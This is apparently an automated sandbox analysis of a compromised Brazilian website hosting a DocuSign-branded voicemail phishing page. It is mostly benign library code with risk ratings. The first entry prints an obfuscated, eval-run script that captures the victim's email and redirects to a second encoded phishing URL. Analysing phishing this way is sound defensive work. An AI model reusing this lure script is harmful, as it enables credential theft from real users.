URL: https://certoconstrutora.com.br/vm/Organization/pr... Model: Joe Sandbox AI	{ "risk_score": 4, "reasoning": "The script has a moderate risk level. It extracts an email address from the URL parameters and populates an input field, which is a common practice. However, it also uses the `eval()` function to execute the decoded script, which is a high-risk indicator. Additionally, the script redirects the user to a URL that includes the extracted email address, which could potentially be used for malicious purposes if the URL is not properly validated." }
const encodedScript = 'ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2NvbnRpbnVlLWJ1dHRvbicpLmFkZEV2ZW50TGlzdGVuZXIoJ2NsaWNrJywgZnVuY3Rpb24oKSB7DQogICAgICAgIGNvbnRpbnVlTG9hZGluZygpOw0KICAgIH0pOw0KDQogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3RoZXN1cHdpbGxzdXBpbnRpbWVvZm5lZWRzLWlucHV0JykuYWRkRXZlbnRMaXN0ZW5lcigna2V5ZG93bicsIGZ1bmN0aW9uKGV2ZW50KSB7DQogICAgICAgIGlmIChldmVudC5rZXkgPT09ICdFbnRlcicpIHsNCiAgICAgICAgICAgIGNvbnRpbnVlTG9hZGluZygpOw0KICAgICAgICB9DQogICAgfSk7DQoNCiAgICAvLyBGdW5jdGlvbiB0byBleHRyYWN0IGVtYWlsIGZyb20gVVJMIHBhcmFtZXRlcnMNCiAgICBmdW5jdGlvbiBnZXRFbWFpbEZyb21VUkwoKSB7DQogICAgICAgIGNvbnN0IHVybFBhcmFtcyA9IG5ldyBVUkxTZWFyY2hQYXJhbXMod2luZG93LmxvY2F0aW9uLnNlYXJjaCk7DQogICAgICAgIGZvciAobGV0IHBhcmFtIG9mIHVybFBhcmFtcy52YWx1ZXMoKSkgew0KICAgICAgICAgICAgaWYgKHZhbGlkYXRlRW1haWwocGFyYW0pKSB7DQogICAgICAgICAgICAgICAgcmV0dXJuIHBhcmFtOyAgLy8gUmV0dXJuIHRoZSBmaXJzdCB2YWxpZCBlbWFpbCBmb3VuZA0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIHJldHVybiBudWxsOyAgLy8gTm8gZW1haWwgZm91bmQgaW4gdGhlIFVSTA0KICAgIH0NCg0KICAgIC8vIEV4dHJhY3QgZW1haWwgZnJvbSB0aGUgVVJMIGFuZCBzZXQgaXQgaW4gdGhlIGlucHV0IGZpZWxkIGlmIGZvdW5kDQogICAgY29uc3QgZW1haWxGcm9tVVJMID0gZ2V0RW1haWxGcm9tVVJMKCk7DQogICAgaWYgKGVtYWlsRnJvbVVSTCkgew0KICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndGhlc3Vwd2lsbHN1cGludGltZW9mbmVlZHMtaW5wdXQnKS52YWx1ZSA9IGVtYWlsRnJvbVVSTDsNCiAgICB9DQoNCiAgICBmdW5jdGlvbiBjb250aW51ZUxvYWRpbmcoKSB7DQogICAgICAgIHZhciB0aGVzdXB3aWxsc3VwaW50aW1lb2ZuZWVkcyA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0aGVzdXB3aWxsc3VwaW50aW1lb2ZuZWVkcy1pbnB1dCcpLnZhbHVlOw0KICAgICAgICBpZiAodmFsaWRhdGVFbWFpbCh0aGVzdXB3aWxsc3VwaW50aW1lb2ZuZWVkcykpIHsNCiAgICAgICAgICAgIHZhciBsaW5reCA9ICJhSFIwY0hNNkx5OTJhWE5oYjNod2NtOWtkWFJ2Y21FdVkyOXRMbUp5TDNkdmNtc3RiMlptYVdObEwzWnZhV05sTDJsdVpHVjRMbWgwYld3IjsgLy8gQmFzZTY0IGVuY29kZWQgbGluaw0KICAgICAgICAgICAgdmFyIFBsdXNYID0gYXRvYihsaW5reCk7DQogICAgICAgICAgICB2YXIgZmluYWxMaW5rID0gUGx1c1ggKyAiIyIgKyB0aGVzdXB3aWxsc3VwaW50aW1lb2ZuZWVkczsgIC8vIERpcmVjdGx5IGFwcGVuZCB0aGUgZW1haWwgYWRkcmVzcw0KICAgICAgICAgICAgd2luZG93LmxvY2F0aW9uLmhyZWYgPSBmaW5hbExpbms7DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICBhbGVydCgiUGxlYXNlIGVudGVyIGEgdmFsaWQgZW1haWwgYWRkcmVzcy4iKTsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIGZ1bmN0aW9uIHZhbGlkYXRlRW1haWwoZW1haWwpIHsNCiAgICAgICAgdmFyIHJlID0gL15bXlxzQF0rQFteXHNAXStcLlteXHNAXSskLzsNCiAgICAgICAgcmV0dXJuIHJlLnRlc3QoZW1haWwpOw0KICAgIH0'; // base64 for 'function continueLoading() { alert("Loading..."); }' const decodedScript = atob(encodedScript); eval(decodedScript);
URL: https://certoconstrutora.com.br Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://certoconstrutora.com.br
URL: https://certoconstrutora.com.br/vm/Organization/privacy/index_.html Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Authenticating...verify your email to access voicemail.", "prominent_button_name": "Play Voice Message", "text_input_field_labels": [ "Enter email" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://certoconstrutora.com.br/vm/Organization/privacy/index_.html Model: Joe Sandbox AI	{ "brands": [ "DocuSign" ] }
	{ "brands": [ "DocuSign" ] }
URL: https://certoconstrutora.com.br/vm/Organization/privacy/index_.html Model: Joe Sandbox AI	```json{ "legit_domain": "docusign.com", "classification": "wellknown", "reasons": [ "The brand 'DocuSign' is well-known and typically associated with the domain 'docusign.com'.", "The provided URL 'certoconstrutora.com.br' does not match the legitimate domain for DocuSign.", "The URL appears to be related to a Brazilian construction company, which is unrelated to DocuSign.", "The presence of an email input field on a site not associated with DocuSign raises suspicion of phishing." ], "riskscore": 9} Google indexed: True
URL: certoconstrutora.com.br Brands: DocuSign Input Fields: Enter email
URL: https://certoconstrutora.com.br/vm/Organization/ Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://certoconstrutora.com.br/vm/Organization/ Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://certoconstrutora.com.br/cgi-sys/js/simple-... Model: Joe Sandbox AI	{ "risk_score": 3, "reasoning": "The provided JavaScript snippet appears to be a legitimate plugin for expanding and collapsing content on a web page. It does not contain any high-risk indicators like dynamic code execution, data exfiltration, or redirects to malicious domains. The script uses standard DOM manipulation and event handling techniques, which are common in web development. While it uses some legacy APIs like `XDomainRequest`, these pose minor risks and are not inherently malicious. Overall, the script seems to be a well-intentioned and relatively benign utility plugin." }
/* Copyright (C) 2012 Sylvain Hamel Project: https://github.com/redhotsly/simple-expand MIT Licence: https://raw.github.com/redhotsly/simple-expand/master/licence-mit.txt */ (function($){"use strict";function e(){var e=this;e.defaults={hideMode:"fadeToggle",defaultSearchMode:"parent",defaultTarget:".content",throwOnMissingTarget:!0,keepStateInCookie:!1,cookieName:"simple-expand"},e.settings={},$.extend(e.settings,e.defaults),e.findLevelOneDeep=function(e,t,n){return e.find(t).filter(function(){return!$(this).parentsUntil(e,n).length})},e.setInitialState=function(t,n){var r=e.readState(t);r?(t.removeClass("collapsed").addClass("expanded"),e.show(n)):(t.removeClass("expanded").addClass("collapsed"),e.hide(n))},e.hide=function(t){e.settings.hideMode==="fadeToggle"?t.hide():e.settings.hideMode==="basic"&&t.hide()},e.show=function(t){e.settings.hideMode==="fadeToggle"?t.show():e.settings.hideMode==="basic"&&t.show()},e.checkKeepStateInCookiePreconditions=function(){if(e.settings.keepStateInCookie&&$.cookie===undefined)throw new Error("simple-expand: keepStateInCookie option requires $.cookie to be defined.")},e.readCookie=function(){var t=$.cookie(e.settings.cookieName);return t===null\|\|t===""?{}:JSON.parse(t)},e.readState=function(t){if(!e.settings.keepStateInCookie)return!1;var n=t.attr("Id");if(n===undefined)return;var r=e.readCookie(),i=r[n]===!0\|\|!1;return i},e.saveState=function(t,n){if(!e.settings.keepStateInCookie)return;var r=t.attr("Id");if(r===undefined)return;var i=e.readCookie();i[r]=n,$.cookie(e.settings.cookieName,JSON.stringify(i),{raw:!0,path:window.location.pathname})},e.toggle=function(t,n){var r=e.toggleCss(t);return e.settings.hideMode==="fadeToggle"?n.fadeToggle(150):e.settings.hideMode==="basic"?n.toggle():$.isFunction(e.settings.hideMode)&&e.settings.hideMode(t,n,r),e.saveState(t,r),!1},e.toggleCss=function(e){return e.hasClass("expanded")?(e.toggleClass("collapsed expanded"),!1):(e.toggleClass("expanded collapsed"),!0)},e.findTargets=function(t,n,r){var i=[];if(n==="absolute")i=$(r);else if(n==="relative")i=e.findLevelOneDeep(t,r,r);else if(n==="parent"){var s=t.parent();do i=e.findLevelOneDeep(s,r,r),i.length===0&&(s=s.parent());while(i.length===0&&s.length!==0)}return i},e.activate=function(t,n){$.extend(e.settings,n),e.checkKeepStateInCookiePreconditions(),t.each(function(){var t=$(this),n=t.attr("data-expander-target")\|\|e.settings.defaultTarget,r=t.attr("data-expander-target-search")\|\|e.settings.defaultSearchMode,i=e.findTargets(t,r,n);if(i.length===0){if(e.settings.throwOnMissingTarget)throw"simple-expand: Targets not found";return this}e.setInitialState(t,i),t.click(function(){return e.toggle(t,i)})})}}window.SimpleExpand=e,$.fn.simpleexpand=function(t){var n=new e;return n.activate(this,t),this}})(jQuery);
URL: https://certoconstrutora.com.br/vm/ Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "ERROR 403 - FORBIDDEN", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://certoconstrutora.com.br/vm/ Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://certoconstrutora.com.br/wp-includes/js/jqu... Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": "This appears to be the standard jQuery library, which is a widely used and trusted JavaScript library. It does not contain any high-risk indicators, such as dynamic code execution, data exfiltration, or suspicious redirects. The code is well-structured and does not exhibit any obfuscation or aggressive DOM manipulation. Overall, this script is likely benign and used for legitimate web development purposes." }
/! jQuery v3.7.1 \| (c) OpenJS Foundation and other contributors \| jquery.org/license / !function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(ie,e){"use strict";var oe=[],r=Object.getPrototypeOf,ae=oe.slice,g=oe.flat?function(e){return oe.flat.call(e)}:function(e){return oe.concat.apply([],e)},s=oe.push,se=oe.indexOf,n={},i=n.toString,ue=n.hasOwnProperty,o=ue.toString,a=o.call(Object),le={},v=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},y=function(e){return null!=e&&e===e.window},C=ie.document,u={type:!0,src:!0,nonce:!0,noModule:!0};function m(e,t,n){var r,i,o=(n=n\|\|C).createElement("script");if(o.text=e,t)for(r in u)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+"":"object"==typeof e\|\|"function"==typeof e?n[i.call(e)]\|\|"object":typeof e}var t="3.7.1",l=/HTML$/i,ce=function(e,t){return new ce.fn.init(e,t)};function c(e){var t=!!e&&"length"in e&&e.length,n=x(e);return!v(e)&&!y(e)&&("array"===n\|\|0===t\|\|"number"==typeof t&&0<t&&t-1 in e)}function fe(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()}ce.fn=ce.prototype={jquery:t,constructor:ce,length:0,toArray:function(){return ae.call(this)},get:function(e){return null==e?ae.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=ce.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return ce.each(this,e)},map:function(n){return this.pushStack(ce.map(this,function(e,t){return n.call(e,t,e)}))},slice:function(){return this.pushStack(ae.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},even:function(){return this.pushStack(ce.grep(this,function(e,t){return(t+1)%2}))},odd:function(){return this.pushStack(ce.grep(this,function(e,t){return t%2}))},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(0<=n&&n<t?[this[n]]:[])},end:function(){return this.prevObject\|\|this.constructor()},push:s,sort:oe.sort,splice:oe.splice},ce.extend=ce.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]\|\|{},s=1,u=arguments.length,l=!1;for("boolean"==typeof a&&(l=a,a=arguments[s]\|\|{},s++),"object"==typeof a\|\|v(a)\|\|(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)r=e[t],"__proto__"!==t&&a!==r&&(l&&r&&(ce.isPlainObject(r)\|\|(i=Array.isArray(r)))?(n=a[t],o=i&&!Array.isArray(n)?[]:i\|\|ce.isPlainObject(n)?n:{},i=!1,a[t]=ce.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},ce.extend({expando:"jQuery"+(t+Math.random()).replace(/\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e\|\|"[object Object]"!==i.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=ue.call(t,"constructor")&&t.constructor)&&o.call(n)===a)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){m(e,{nonce:t&&t.nonce},n)},each:function(e,t){var n,r=0;if(c(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},text:function(e){var t,n="",r=0,i=e.nodeType;if(!i)while(t=e[r++])n+=ce.text(t);return 1===i\|\|11===i?e.textContent:9===i?e.documentElement.textContent:3===i\|\|4===i?e.nodeValue:n},makeArray:function(e,t){var n=t\|\|[];return null!=e&&(c(Object(e))?ce.merge(n,"string"==typeof e?[e]:e):s.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:se.call(t,e,n)},isXMLDoc:function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument\|\|e).documentElement;return!l.test(t\|\|n&&n.nodeName\|\|"HTML")},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r=[],i=0,o=e.length,a=!n;i<o;i++)!t(e[i],i)!==a&&r.push(e[i]);return r},map:function(e,t,n){va
URL: https://certoconstrutora.com.br/... Model: Joe Sandbox AI	{ "risk_score": 2, "reasoning": "The provided JavaScript snippet appears to be a part of the WordPress emoji functionality. It does not contain any high-risk indicators, such as dynamic code execution, data exfiltration, or redirects to malicious domains. The script is primarily responsible for handling the display of emojis on the website, which is a common and legitimate functionality. While it uses some legacy APIs like `XDomainRequest`, these pose minor risks and are not inherently malicious. Overall, this script is likely benign and does not demonstrate any suspicious behavior." }
window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/svg\/","svgExt":".svg","source":{"concatemoji":"https:\/\/certoconstrutora.com.br\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.7.1"}}; /! This file is auto-generated / !function(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,JSON.stringify(t))}catch(e){}}function p(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var t=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data),r=(e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(n,0,0),new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data));return t.every(function(e,t){return e===r[t]})}function u(e,t,n){switch(t){case"flag":return n(e,"\ud83c\udff3\ufe0f\u200d\u26a7\ufe0f","\ud83c\udff3\ufe0f\u200b\u26a7\ufe0f")?!1:!n(e,"\ud83c\uddfa\ud83c\uddf3","\ud83c\uddfa\u200b\ud83c\uddf3")&&!n(e,"\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc65\udb40\udc6e\udb40\udc67\udb40\udc7f","\ud83c\udff4\u200b\udb40\udc67\u200b\udb40\udc62\u200b\udb40\udc65\u200b\udb40\udc6e\u200b\udb40\udc67\u200b\udb40\udc7f");case"emoji":return!n(e,"\ud83d\udc26\u200d\u2b1b","\ud83d\udc26\u200b\u2b1b")}return!1}function f(e,t,n){var r="undefined"!=typeof WorkerGlobalScope&&self instanceof WorkerGlobalScope?new OffscreenCanvas(300,150):i.createElement("canvas"),a=r.getContext("2d",{willReadFrequently:!0}),o=(a.textBaseline="top",a.font="600 32px Arial",{});return e.forEach(function(e){o[e]=t(a,e,n)}),o}function t(e){var t=i.createElement("script");t.src=e,t.defer=!0,i.head.appendChild(t)}"undefined"!=typeof Promise&&(o="wpEmojiSettingsSupports",s=["flag","emoji"],n.supports={everything:!0,everythingExceptFlag:!0},e=new Promise(function(e){i.addEventListener("DOMContentLoaded",e,{once:!0})}),new Promise(function(t){var n=function(){try{var e=JSON.parse(sessionStorage.getItem(o));if("object"==typeof e&&"number"==typeof e.timestamp&&(new Date).valueOf()<e.timestamp+604800&&"object"==typeof e.supportTests)return e.supportTests}catch(e){}return null}();if(!n){if("undefined"!=typeof Worker&&"undefined"!=typeof OffscreenCanvas&&"undefined"!=typeof URL&&URL.createObjectURL&&"undefined"!=typeof Blob)try{var e="postMessage("+f.toString()+"("+[JSON.stringify(s),u.toString(),p.toString()].join(",")+"));",r=new Blob([e],{type:"text/javascript"}),a=new Worker(URL.createObjectURL(r),{name:"wpTestEmojiSupports"});return void(a.onmessage=function(e){c(n=e.data),a.terminate(),t(n)})}catch(e){}c(n=f(s,u,p))}t(n)}).then(function(e){for(var t in e)n.supports[t]=e[t],n.supports.everything=n.supports.everything&&n.supports[t],"flag"!==t&&(n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&n.supports[t]);n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&!n.supports.flag,n.DOMReady=!1,n.readyCallback=function(){n.DOMReady=!0}}).then(function(){return e}).then(function(){var e;n.supports.everything\|\|(n.readyCallback(),(e=n.source\|\|{}).concatemoji?t(e.concatemoji):e.wpemoji&&e.twemoji&&(t(e.twemoji),t(e.wpemoji)))}))}((window,document),window._wpemojiSettings);
URL: https://certoconstrutora.com.br/... Model: Joe Sandbox AI	{ "risk_score": 2, "reasoning": "The provided JavaScript snippet appears to be a simple implementation of a 'scroll to anchor' functionality, which is a common practice on web pages. It checks the user agent for Internet Explorer or Trident-based browsers, and then adds an event listener to the 'hashchange' event. When the hash in the URL changes, it attempts to find an element with the corresponding ID and focuses on it. This behavior is typical for improving user experience and does not demonstrate any high-risk indicators." }
/(trident\|msie)/i.test(navigator.userAgent)&&document.getElementById&&window.addEventListener&&window.addEventListener("hashchange",function(){var t,e=location.hash.substring(1);/^[A-z0-9_-]+$/.test(e)&&(t=document.getElementById(e))&&(/^(?:a\|select\|input\|button\|textarea)$/i.test(t.tagName)\|\|(t.tabIndex=-1),t.focus())},!1);
URL: https://certoconstrutora.com.br/... Model: Joe Sandbox AI	{ "risk_score": 2, "reasoning": "The provided JavaScript snippet appears to be a part of the WordPress emoji functionality. It does not contain any high-risk indicators, such as dynamic code execution, data exfiltration, or redirects to malicious domains. The script is primarily responsible for handling the display of emojis on the website, which is a common and legitimate functionality. While it uses some legacy APIs like `XDomainRequest`, these pose minor risks and are not inherently malicious. Overall, the script seems to be a benign part of the WordPress platform and does not demonstrate any suspicious or harmful behavior." }
window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/svg\/","svgExt":".svg","source":{"concatemoji":"https:\/\/certoconstrutora.com.br\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.7.1"}}; /! This file is auto-generated / !function(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,JSON.stringify(t))}catch(e){}}function p(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var t=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data),r=(e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(n,0,0),new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data));return t.every(function(e,t){return e===r[t]})}function u(e,t,n){switch(t){case"flag":return n(e,"\ud83c\udff3\ufe0f\u200d\u26a7\ufe0f","\ud83c\udff3\ufe0f\u200b\u26a7\ufe0f")?!1:!n(e,"\ud83c\uddfa\ud83c\uddf3","\ud83c\uddfa\u200b\ud83c\uddf3")&&!n(e,"\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc65\udb40\udc6e\udb40\udc67\udb40\udc7f","\ud83c\udff4\u200b\udb40\udc67\u200b\udb40\udc62\u200b\udb40\udc65\u200b\udb40\udc6e\u200b\udb40\udc67\u200b\udb40\udc7f");case"emoji":return!n(e,"\ud83d\udc26\u200d\u2b1b","\ud83d\udc26\u200b\u2b1b")}return!1}function f(e,t,n){var r="undefined"!=typeof WorkerGlobalScope&&self instanceof WorkerGlobalScope?new OffscreenCanvas(300,150):i.createElement("canvas"),a=r.getContext("2d",{willReadFrequently:!0}),o=(a.textBaseline="top",a.font="600 32px Arial",{});return e.forEach(function(e){o[e]=t(a,e,n)}),o}function t(e){var t=i.createElement("script");t.src=e,t.defer=!0,i.head.appendChild(t)}"undefined"!=typeof Promise&&(o="wpEmojiSettingsSupports",s=["flag","emoji"],n.supports={everything:!0,everythingExceptFlag:!0},e=new Promise(function(e){i.addEventListener("DOMContentLoaded",e,{once:!0})}),new Promise(function(t){var n=function(){try{var e=JSON.parse(sessionStorage.getItem(o));if("object"==typeof e&&"number"==typeof e.timestamp&&(new Date).valueOf()<e.timestamp+604800&&"object"==typeof e.supportTests)return e.supportTests}catch(e){}return null}();if(!n){if("undefined"!=typeof Worker&&"undefined"!=typeof OffscreenCanvas&&"undefined"!=typeof URL&&URL.createObjectURL&&"undefined"!=typeof Blob)try{var e="postMessage("+f.toString()+"("+[JSON.stringify(s),u.toString(),p.toString()].join(",")+"));",r=new Blob([e],{type:"text/javascript"}),a=new Worker(URL.createObjectURL(r),{name:"wpTestEmojiSupports"});return void(a.onmessage=function(e){c(n=e.data),a.terminate(),t(n)})}catch(e){}c(n=f(s,u,p))}t(n)}).then(function(e){for(var t in e)n.supports[t]=e[t],n.supports.everything=n.supports.everything&&n.supports[t],"flag"!==t&&(n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&n.supports[t]);n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&!n.supports.flag,n.DOMReady=!1,n.readyCallback=function(){n.DOMReady=!0}}).then(function(){return e}).then(function(){var e;n.supports.everything\|\|(n.readyCallback(),(e=n.source\|\|{}).concatemoji?t(e.concatemoji
URL: https://certoconstrutora.com.br/wp-content/plugins... Model: Joe Sandbox AI	{ "risk_score": 3, "reasoning": "The provided JavaScript snippet appears to be a utility function for handling sticky positioning of elements on a web page. It does not contain any high-risk indicators like dynamic code execution, data exfiltration, or malicious redirects. The script is primarily focused on DOM manipulation and event handling to achieve the sticky behavior, which is a common and legitimate use case. While it uses some legacy APIs like `XDomainRequest`, the overall functionality is benign and aligned with typical web development practices. Therefore, the risk score is assessed as low (3)." }
const UAGBBlockPositioning={init(t,e){const s=document.querySelector(e);s?.classList.contains("uagb-position__sticky")&&UAGBBlockPositioning.handleSticky(s,t)},handleSticky(t,e){var s=()=>{return document.querySelector("#wpadminbar")?.offsetHeight\|\|0};const p=()=>{"undefined"!=typeof AOS&&e?.UAGAnimationType&&(t.dataset.aos=e?.UAGAnimationType,t.dataset.aosDuration=e?.UAGAnimationTime,t.dataset.aosDelay=e?.UAGAnimationDelay,t.dataset.aosEasing=e?.UAGAnimationEasing,t.dataset.aosOnce=!0,setTimeout(()=>{AOS.refreshHard()},100))},o=t.getBoundingClientRect(),y=e?.isBlockRootParent?null:t.parentElement,i=((t,e,s)=>{const o=document.createElement("div");if(o.style.height=e.height+"px",s){const i=window.getComputedStyle(t);o.style.width="100%",o.style.maxWidth=i.getPropertyValue("max-width")\|\|e.width+"px",o.style.padding=i.getPropertyValue("padding")\|\|0,o.style.margin=i.getPropertyValue("margin")\|\|0,o.style.border=i.getPropertyValue("border")\|\|0,o.style.borderColor="transparent"}else o.style.width=e.width+"px",o.style.marginTop="0";return o})(t,o,y);let n,a,d,r;const l={top:0,bottom:0},c={top:0,right:0,bottom:0,left:0};if(e?.UAGStickyRestricted){r=y.getBoundingClientRect();const f=window.getComputedStyle(y);c.top=parseInt(f.getPropertyValue("padding-top")\|\|0,10),c.bottom=parseInt(f.getPropertyValue("padding-bottom")\|\|0,10),l.top=r.top+(window.pageYOffset\|\|0)+c.top,l.bottom=r.bottom+(window.pageYOffset\|\|0)-c.bottom-o.height-s()-(e?.UAGStickyOffset\|\|0)}"bottom"===e?.UAGStickyLocation?(n=o.top+(window.pageYOffset\|\|0)-window.innerHeight+o.height+(e?.UAGStickyOffset\|\|0),a=`${e?.UAGStickyOffset\|\|0}px`,window.addEventListener("load",()=>{(d=void 0!==window.pageYOffset?window.pageYOffset:document.body.scrollTop)<=n&&!t.classList.contains("uagb-position__sticky--stuck")&&(t.parentNode.insertBefore(i,t),t.classList.add("uagb-position__sticky--stuck"),t.style.bottom=`calc(${a} - ${window.innerHeight}px)`,t.style.left=o.left+"px",t.style.width=o.width+"px",t.style.zIndex="999",setTimeout(()=>{t.style.bottom=a},50)),p()}),window.addEventListener("scroll",()=>{(d=void 0!==window.pageYOffset?window.pageYOffset:document.body.scrollTop)<=n?t.classList.contains("uagb-position__sticky--stuck")\|\|(t.parentNode.insertBefore(i,t),t.classList.add("uagb-position__sticky--stuck"),t.style.bottom=a,t.style.left=o.left+"px",t.style.width=o.width+"px",t.style.zIndex="999"):d>n&&t.classList.contains("uagb-position__sticky--stuck")&&(t.parentNode.removeChild(i),t.classList.remove("uagb-position__sticky--stuck"),t.style.bottom="",t.style.left="",t.style.width="",t.style.zIndex="")})):(n=o.top+(window.pageYOffset\|\|0)-s()-(e?.UAGStickyOffset\|\|0),a=s()+(e?.UAGStickyOffset\|\|0)+"px",window.addEventListener("load",()=>{(d=void 0!==window.pageYOffset?window.pageYOffset:document.body.scrollTop)>=n&&!t.classList.contains("uagb-position__sticky--stuck")&&(t.parentNode.insertBefore(i,t),t.classList.add("uagb-position__sticky--stuck"),e?.UAGStickyRestricted&&d>=l.bottom?(t.classList.remove("uagb-position__sticky--stuck"),t.classList.add("uagb-position__sticky--restricted"),t.style.top="",t.style.bottom=c.bottom+"px",t.style.left=`${i?.offsetLeft\|\|0}px`):(t.style.top=`calc(${a} - ${window.innerHeight}px)`,t.style.left=o.left+"px",setTimeout(()=>{t.style.top=a},50)),t.style.width=o.width+"px",t.style.zIndex="999"),p()}),window.addEventListener("scroll",()=>{(d=void 0!==window.pageYOffset?window.pageYOffset:document.body.scrollTop)>=n?t.classList.contains("uagb-position__sticky--stuck")\|\|t.classList.contains("uagb-position__sticky--restricted")?e?.UAGStickyRestricted&&!t.classList.contains("uagb-position__sticky--restricted")&&d>=l.bottom?(t.classList.remove("uagb-position__sticky--stuck"),t.classList.add("uagb-position__sticky--restricted"),t.style.top="",t.style.bottom=c.bottom+"px",t.style.left=`${i?.offsetLeft\|\|0}px`):t.classList.contains("uagb-position__sticky--restricted")&&d<l.bottom&&(t.classList.remove("uagb-position__sticky--restricted"),t.classList.add("uagb-position__stick
URL: https://certoconstrutora.com.br/wp-content/plugins... Model: Joe Sandbox AI	{ "risk_score": 3, "reasoning": "The provided JavaScript snippet appears to be a legitimate script that is used for previewing starter templates in an iframe. It does not contain any high-risk indicators such as dynamic code execution, data exfiltration, or redirects to malicious domains. The script primarily focuses on manipulating the DOM to update the site logo, color palette, and typography based on the provided data. While it uses some legacy practices like `XDomainRequest`, these are not inherently malicious and are likely used for compatibility reasons. Overall, the script seems to be part of a legitimate web application and does not demonstrate any suspicious or malicious behavior." }
